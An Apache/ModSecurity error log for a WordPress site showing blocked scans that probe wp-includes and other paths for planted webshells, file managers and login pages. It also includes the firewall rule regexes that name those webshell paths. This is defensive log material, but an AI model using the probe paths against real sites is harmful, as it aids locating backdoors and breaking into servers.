[Thu Apr 23 07:27:20.440193 2026] [:error] [pid 42972:tid 43023] [client 89.251.0.136:36199] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aelZWMOAb-3sOknsk4cgTQAAAEc"]
[Thu Apr 23 07:27:21.524846 2026] [:error] [pid 65000:tid 65031] [client 89.251.0.148:37759] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aelZWb6vRb9j6psK2ZaYZQAAAgI"]
[Thu Apr 23 07:27:23.466213 2026] [:error] [pid 65000:tid 65046] [client 89.251.0.140:20767] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aelZW76vRb9j6psK2ZaYngAAAg0"]
[Thu Apr 23 07:27:27.061512 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.148:48411] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aelZXzC5hrvNXosL83LK3QAAAMQ"]
[Thu Apr 23 07:27:30.872077 2026] [:error] [pid 43083:tid 43105] [client 89.251.0.137:63567] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aelZYjC5hrvNXosL83LLCQAAANQ"]
[Thu Apr 23 07:27:33.151476 2026] [:error] [pid 65000:tid 65044] [client 89.251.0.134:55639] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aelZZb6vRb9j6psK2ZaZMQAAAgs"]
[Thu Apr 23 07:27:34.166189 2026] [:error] [pid 25635:tid 25646] [client 89.251.0.139:36969] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aelZZsRxv6UsgRGKB3LiBAAAAQc"]
[Thu Apr 23 07:27:37.565920 2026] [:error] [pid 64967:tid 64990] [client 89.251.0.148:46837] [client 89.251.0.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.148, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aelZaYAV4GfOOdX8QzoTogAAAZU"]
[Thu Apr 23 07:27:39.916604 2026] [:error] [pid 64967:tid 64972] [client 89.251.0.148:46837] [client 89.251.0.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.148, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aelZa4AV4GfOOdX8QzoTsAAAAYM"]
[Thu Apr 23 07:27:44.185317 2026] [proxy_fcgi:error] [pid 64967:tid 64992] [client 89.251.0.148:46837] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:27:49.175935 2026] [:error] [pid 64967:tid 64972] [client 89.251.0.148:46837] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aelZdYAV4GfOOdX8QzoT-wAAAYM"]
[Thu Apr 23 07:27:50.874652 2026] [:error] [pid 59700:tid 59711] [client 89.251.0.119:64303] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aelZdpXyGZJFeAIDWtlaSAAAAUk"]
[Thu Apr 23 07:27:52.403817 2026] [:error] [pid 59700:tid 59705] [client 89.251.0.136:46129] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aelZeJXyGZJFeAIDWtlaUQAAAUM"]
[Thu Apr 23 07:27:56.248719 2026] [:error] [pid 64998:tid 65013] [client 89.251.0.148:57851] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aelZfIV5EysYcTLjmwj3nQAAAcs"]
[Thu Apr 23 07:27:57.759153 2026] [:error] [pid 64998:tid 65016] [client 89.251.0.114:63995] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aelZfYV5EysYcTLjmwj3ugAAAc4"]
[Thu Apr 23 07:27:58.744329 2026] [:error] [pid 43083:tid 43095] [client 89.251.0.145:56061] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aelZfjC5hrvNXosL83LMYQAAAMo"]
[Thu Apr 23 07:28:00.679608 2026] [proxy_fcgi:error] [pid 42971:tid 42997] [client 89.251.0.138:53537] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:28:01.244303 2026] [proxy_fcgi:error] [pid 42971:tid 43006] [client 89.251.0.138:53537] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:28:01.674186 2026] [:error] [pid 42971:tid 43010] [client 89.251.0.138:53537] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aelZgTEP2_5RswrH8bGrcQAAABg"]
[Thu Apr 23 07:28:02.270378 2026] [:error] [pid 43083:tid 43091] [client 89.251.0.123:61335] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aelZgjC5hrvNXosL83LMlQAAAMY"]
[Thu Apr 23 07:28:08.351081 2026] [:error] [pid 25635:tid 25645] [client 89.251.0.151:58457] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aelZiMRxv6UsgRGKB3Li1wAAAQY"]
[Thu Apr 23 07:28:09.252249 2026] [:error] [pid 65000:tid 65039] [client 89.251.0.126:25091] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aelZib6vRb9j6psK2ZabNQAAAgY"]
[Thu Apr 23 07:28:10.882519 2026] [:error] [pid 43083:tid 43105] [client 89.251.0.150:42117] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aelZijC5hrvNXosL83LNFgAAANQ"]
[Thu Apr 23 07:28:13.908332 2026] [:error] [pid 64967:tid 64992] [client 89.251.0.123:32305] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aelZjYAV4GfOOdX8QzoUngAAAZc"]
[Thu Apr 23 07:28:14.529310 2026] [proxy_fcgi:error] [pid 42971:tid 43001] [client 89.251.0.135:32907] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:28:15.500337 2026] [:error] [pid 42971:tid 42999] [client 89.251.0.135:32907] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aelZjzEP2_5RswrH8bGrwwAAAA0"]
[Thu Apr 23 07:28:17.760649 2026] [proxy_fcgi:error] [pid 64998:tid 65023] [client 89.251.0.120:46077] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:28:18.385215 2026] [:error] [pid 64998:tid 65012] [client 89.251.0.120:46077] [client 89.251.0.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.120, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aelZkoV5EysYcTLjmwj4awAAAco"]
[Thu Apr 23 07:28:19.950066 2026] [:error] [pid 64998:tid 65007] [client 89.251.0.120:46077] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aelZk4V5EysYcTLjmwj4gwAAAcU"]
[Thu Apr 23 07:28:20.838285 2026] [:error] [pid 64967:tid 64974] [client 89.251.0.115:49129] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aelZlIAV4GfOOdX8QzoU8wAAAYU"]
[Thu Apr 23 07:28:22.791316 2026] [:error] [pid 25635:tid 25648] [client 89.251.0.137:28675] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aelZlsRxv6UsgRGKB3LjBwAAAQk"]
[Thu Apr 23 07:28:24.287172 2026] [:error] [pid 42971:tid 42992] [client 89.251.0.140:52315] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aelZmDEP2_5RswrH8bGsDwAAAAY"]
[Thu Apr 23 07:28:24.918012 2026] [:error] [pid 42972:tid 43018] [client 89.251.0.140:53573] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aelZmMOAb-3sOknsk4ciVQAAAEI"]
[Thu Apr 23 07:28:26.526529 2026] [:error] [pid 64998:tid 65010] [client 89.251.0.117:27411] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aelZmoV5EysYcTLjmwj4zAAAAcg"]
[Thu Apr 23 07:28:27.774575 2026] [proxy_fcgi:error] [pid 59700:tid 59723] [client 89.251.0.115:21281] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:28:28.075903 2026] [:error] [pid 59700:tid 59702] [client 89.251.0.115:21281] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aelZnJXyGZJFeAIDWtlbWQAAAUA"]
[Thu Apr 23 07:28:29.054383 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.116:62625] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aelZnb6vRb9j6psK2ZacRwAAAgU"]
[Thu Apr 23 07:28:29.640554 2026] [:error] [pid 65000:tid 65045] [client 89.251.0.136:46161] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aelZnb6vRb9j6psK2ZacUwAAAgw"]
[Thu Apr 23 07:28:30.359127 2026] [:error] [pid 64998:tid 65005] [client 89.251.0.133:53511] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aelZnoV5EysYcTLjmwj48gAAAcM"]
[Thu Apr 23 07:28:31.258770 2026] [:error] [pid 59700:tid 59706] [client 89.251.0.136:48749] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aelZn5XyGZJFeAIDWtlbdwAAAUQ"]
[Thu Apr 23 07:28:33.130675 2026] [:error] [pid 64967:tid 64971] [client 89.251.0.123:59681] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aelZoYAV4GfOOdX8QzoVXgAAAYI"]
[Thu Apr 23 07:28:33.753582 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.113:56729] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aelZob6vRb9j6psK2ZacfQAAAgU"]
[Thu Apr 23 07:28:35.178587 2026] [:error] [pid 43083:tid 43093] [client 89.251.0.151:31369] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aelZozC5hrvNXosL83LOSQAAAMg"]
[Thu Apr 23 07:28:35.800762 2026] [:error] [pid 43083:tid 43088] [client 89.251.0.134:30519] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aelZozC5hrvNXosL83LOUgAAAMM"]
[Thu Apr 23 07:28:36.725683 2026] [:error] [pid 42972:tid 43026] [client 89.251.0.145:41153] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aelZpMOAb-3sOknsk4cilAAAAEo"]
[Thu Apr 23 07:28:37.352796 2026] [:error] [pid 42972:tid 43019] [client 89.251.0.140:52893] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aelZpcOAb-3sOknsk4cimwAAAEM"]
[Thu Apr 23 07:28:38.008746 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.136:47393] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aelZpjC5hrvNXosL83LOewAAAMQ"]
[Thu Apr 23 07:28:38.581308 2026] [proxy_fcgi:error] [pid 65000:tid 65030] [client 89.251.0.140:36433] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:28:39.631379 2026] [:error] [pid 65000:tid 65030] [client 89.251.0.140:36433] [client 89.251.0.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.140, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aelZp76vRb9j6psK2ZacvQAAAgE"]
[Thu Apr 23 07:28:41.380994 2026] [:error] [pid 65000:tid 65056] [client 89.251.0.140:36433] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aelZqb6vRb9j6psK2Zac4AAAAhc"]
[Thu Apr 23 07:28:51.435130 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.145:28747] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aelZszC5hrvNXosL83LO-gAAAMQ"]
[Thu Apr 23 07:28:52.057006 2026] [:error] [pid 64967:tid 64989] [client 89.251.0.131:20571] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aelZtIAV4GfOOdX8QzoV1QAAAZQ"]
[Thu Apr 23 07:28:52.797721 2026] [:error] [pid 42971:tid 42991] [client 89.251.0.123:62453] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aelZtDEP2_5RswrH8bGs5AAAAAU"]
[Thu Apr 23 07:28:55.412250 2026] [:error] [pid 65000:tid 65029] [client 89.251.0.116:38009] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aelZt76vRb9j6psK2ZadYwAAAgA"]
[Thu Apr 23 07:28:56.103344 2026] [:error] [pid 43083:tid 43091] [client 89.251.0.115:51557] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aelZuDC5hrvNXosL83LPNAAAAMY"]
[Thu Apr 23 07:28:56.773930 2026] [:error] [pid 64998:tid 65018] [client 89.251.0.147:43887] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aelZuIV5EysYcTLjmwj6HQAAAdA"]
